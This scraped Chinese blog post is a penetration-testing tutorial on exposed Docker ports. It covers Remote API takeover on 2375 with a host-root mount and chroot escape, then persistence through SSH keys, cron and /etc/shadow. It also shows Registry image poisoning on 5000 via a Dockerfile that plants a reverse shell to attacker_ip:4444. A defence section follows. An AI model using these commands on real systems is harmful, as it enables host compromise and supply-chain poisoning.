当前位置: 首页 > news >正文

【容器安全】Docker 2375 与 5000 端口的渗透实战

在云原生与容器化技术普及的今天,Docker 已成为企业基础设施的核心。然而,配置不当的 Docker 服务往往会成为黑客眼中的“通往天国的阶梯”。在红蓝对抗或靶机实战中,2375 端口(Remote API)和5000 端口(Registry)是两个极具代表性的切入点。

虽然两者都与 Docker 相关,但在渗透测试的视角下,它们的利用逻辑完全不同:2375 端口意味着“即时的控制权”,而5000 端口则代表着“深远的供应链打击”


场景一:Docker 2375 —— 靶机中的“后门直连”

Docker 2375 端口是 Docker Remote API 的默认非加密端口。它设计的初衷是方便开发者远程管理容器镜像、启动或停止服务。然而,一旦该端口对公网开放且未配置 TLS 认证,任何攻击者都可以像操作本地 Docker 一样控制目标宿主机。

1. 原理与风险

Docker 采用了典型的 C/S 架构。在 Linux 下,默认通过/var/run/docker.sock这一本地 Unix 域套接字通信。为了实现远程管理,管理员可能会开启 TCP 监听。

  • 2375 端口:非加密的 HTTP 通信。
  • 2376 端口:基于 TLS 加密的 HTTPS 通信。

如果在靶机中发现 2375 开放,意味着你可以绕过所有的业务逻辑,直接与 Docker 守护进程对话。

2. 渗透流程:从信息探测到指令执行

第一步:指纹识别
通过nmapcurl探测端口。如果返回 Docker 的版本信息(JSON 格式),说明存在未授权访问漏洞。

curlhttp://<TARGET_IP>:2375/version

第二步:接管 Docker 权限
你可以直接在本地使用-H参数指定远程主机,接管其所有容器控制权:

# 查看所有运行中的容器docker-Htcp://<TARGET_IP>:2375ps# 查看所有镜像docker-Htcp://<TARGET_IP>:2375 images

3. 深度利用:从容器逃逸到宿主机提权

仅仅控制容器是不够的,攻击者的终极目标是宿主机。最经典的利用方案是:拉取一个镜像,并在启动时将宿主机的根目录挂载到容器内部。

攻击载荷示例:

docker-Htcp://<TARGET_IP>:2375 run-it-v/:/mnt alpinechroot/mnt
  • -v /:/mnt:将宿主机的根目录/映射到容器的/mnt目录。
  • chroot /mnt:切换根目录,此时你的 Shell 环境实际上已经变成了宿主机的环境。

拿到宿主机权限后的操作:

  1. 修改 SSH 公钥:将你的id_rsa.pub写入/root/.ssh/authorized_keys,实现持久化控制。
  2. 计划任务投毒:在/etc/crontab中写入反弹 Shell 脚本。
  3. 敏感文件读取:直接读取/etc/shadow进行密码破解。

场景二:Docker 5000 —— 隐蔽的供应链投毒

如果说 2375 是直接破门而入,那么 5000 端口就是通过“污染水源”来毒害整座城市。5000 端口通常运行着Docker Registry V2,即私有镜像仓库。

1. 原理与供应链攻击模型

在现代开发流程(CI/CD)中,开发人员将代码推送到 Git,流水线自动构建镜像并推送到私有仓库(5000 端口),最后生产服务器从该仓库拉取镜像运行。
如果攻击者能控制 5000 端口,他们就可以修改已有的镜像,植入恶意代码(如后门、挖矿脚本)。由于这些镜像是“受信任”的内部镜像,运维人员很难发现异常。

2. 渗透流程:镜像劫持实战

第一步:API 枚举与资产盘点
Docker Registry 提供了一套 RESTful API。我们可以通过以下路径列出仓库中的所有镜像(Repositories):

curlhttp://<TARGET_IP>:5000/v2/_catalog

假设发现了一个名为webapp-prod的镜像,接下来获取它的所有标签(Tags):

curlhttp://<TARGET_IP>:5000/v2/webapp-prod/tags/list

第二步:下载原始镜像
将目标镜像拉取到本地进行“深度加工”:

dockerpull<TARGET_IP>:5000/webapp-prod:latest

第三步:镜像投毒(后门植入)
创建一个恶意的Dockerfile,以原始镜像为基础:

FROM <TARGET_IP>:5000/webapp-prod:latest USER root # 植入反弹 Shell 脚本 RUN echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" >> /etc/rc.local # 或者直接修改业务代码 COPY malicious_code.py /app/core.py

构建新的镜像:

dockerbuild-t<TARGET_IP>:5000/webapp-prod:latest.

第四步:覆盖推送(Push Back)
由于 Registry 端口未授权,攻击者可以直接推送同名镜像覆盖掉原始镜像:

dockerpush<TARGET_IP>:5000/webapp-prod:latest

3. 等待“鱼儿”上钩

当生产环境进行下一次自动发布,或者运维人员手动重启服务拉取latest标签时,你的恶意载荷就会在生产服务器内部执行。这种攻击具有极强的隐蔽性延迟性,因为攻击发生时,你甚至不需要在线。


攻防维度对比

维度Docker 2375 (API)Docker 5000 (Registry)
攻击类型直接攻击、未授权访问供应链攻击、中间人劫持
即时性极高。一旦发现,秒拿权限。中低。需要等待镜像被拉取/部署。
隐蔽性。大量 Docker 指令会在系统日志中留下痕迹。。恶意代码混在业务代码中,极难审计。
影响范围单台宿主机。整个集群或所有使用该镜像的服务器。
渗透目标获取系统 Shell、逃逸到宿主机。权限维持、数据窃取、横向移动。
关键漏洞点DOCKER_OPTS="-H 0.0.0.0:2375"insecure-registries配置。

防御方案:构建容器防火墙

面对这两种截然不同的威胁,防御者需要从配置和架构两个层面发力:

1. 针对 2375 端口的防御

  • 严禁公网暴露:绝对不要将 2375 端口映射到公网。
  • 强制启用 TLS:使用 Docker 官方提供的证书认证机制(--tlsverify),只有持有有效证书的客户端才能通信。
  • 使用 Socket 代理:如果必须远程管理,建议通过 SSH 隧道转发/var/run/docker.sock,而不是开启监听端口。

2. 针对 5000 端口的防御

  • 身份验证机制:为 Registry 配置基本的htpasswd认证或集成 LDAP/OAuth。
  • 镜像签名(Notary):启用 Docker Content Trust (DCT)。服务器只允许运行经过数字签名的镜像,防止镜像被篡改。
  • 只读镜像库:对于生产环境使用的 Registry,应严格控制 Push 权限,采用“单向流动”原则。
  • 漏洞扫描:在 CI/CD 流程中加入 Trivy 或 Clair 等扫描工具,在镜像入库前检测其中的恶意代码和漏洞。

结语

在渗透测试的视野里,Docker 2375 是一把手术刀,追求的是精准、快速的单点突破;而 Docker 5000 则是一瓶慢性毒药,利用的是信任链条的脆弱性,追求的是大规模、持久化的打击。

作为安全研究员或网络安全工程师,理解这两个场景的区别至关重要:前者考验的是对容器逃逸和宿主机配置的理解,后者考验的是对企业 DevOps 流程及供应链脆弱性的洞察。在打靶实践中,当你看到这两个端口时,请根据目标的网络位置和你的渗透目的,选择最合适的“姿势”。

http://www.jsqmd.com/news/661500/

相关文章:

  • 终极WinJS数据绑定完全指南:从基础概念到高级应用技巧
  • 2026年轻钢房屋/活动板房/集装箱房等装配式建筑厂家推荐:吉林省万金隆彩板钢构有限公司,一站式采购优质之选 - 品牌推荐官
  • 微信小程序反编译技术深度解析:基于Wedecode的代码安全审计方案
  • Unity性能优化小技巧:GetComponentInChildren的深度优先搜索(DFS)到底怎么工作的?
  • std::atomic
  • ESP32-S驱动SYN6288语音模块翻车实录:从‘哑巴’到‘开口说话’的完整避坑指南
  • 如何高效检测和利用Shiro漏洞:ShiroExp工具实践指南
  • 告别百度网盘!教你从微软官方渠道获取纯净的.NET Framework 3.5离线安装包
  • YgoMaster:终极离线游戏王大师决斗完整指南 - 随时随地畅玩完整卡牌对战
  • 聊聊专业的地磅厂家,哪家口碑好价格又实惠 - 工业品牌热点
  • 2026年化工/食品/医药/饲料等行业混合机厂家推荐:张家港市繁昌机械有限公司,多种类型混合机全系供应 - 品牌推荐官
  • 不平衡电网电压下虚拟同步发电机VSG并网运行的多目标控制实现——三相电流平衡、有功功率恒定、无...
  • 从一道CTF题看PHP反序列化:手把手教你绕过__wakeup()魔术方法
  • Kubie高级配置教程:自定义提示符、钩子函数和配置文件管理
  • 题解:洛谷 P1066 [NOIP 2006 提高组] 2^k进制数
  • 2026年直线筛选机及各类直线振动筛厂家推荐:河南新斯曼机械设备有限公司,多品类筛分设备适配多行业需求 - 品牌推荐官
  • C++ string操作指南:从入门到精通
  • 2026年楼梯厂家推荐:沈阳市铁西区和鑫大宅楼梯经销门市部,钢板/卷板弧形/玻璃/双梁等多种楼梯供应 - 品牌推荐官
  • Ostrakon-VL-8B实战:JavaScript实现零售货架智能巡检Web应用
  • LaneNet训练提速指南:如何高效预处理TuSimple数据集并解决‘No module named ‘trainner’等常见报错
  • 【AGI全球争霸战深度解码】:中美欧日四大阵营技术路线、算力储备与人才战略全对比(2024权威白皮书级分析)
  • Python 遍历循环详细
  • 2026年监控杆厂家推荐:郑州坤悦交通设施,国标监控杆、L型八棱杆等全系供应,适配多场景交安项目 - 品牌推荐官
  • Guesstimate未来路线图:AI集成、私有部署和协作功能的展望
  • fsadfda
  • Winhance中文版:如何让Windows系统优化从技术挑战变成轻松日常?
  • 告别风扇噪音困扰:3分钟学会用FanControl智能调控Windows风扇转速
  • QtScrcpy键鼠映射终极教程:5分钟让手机游戏变PC体验
  • BiliBiliCCSubtitle终极指南:快速下载和转换B站CC字幕的完整教程
  • 2026届必备的六大降重复率助手推荐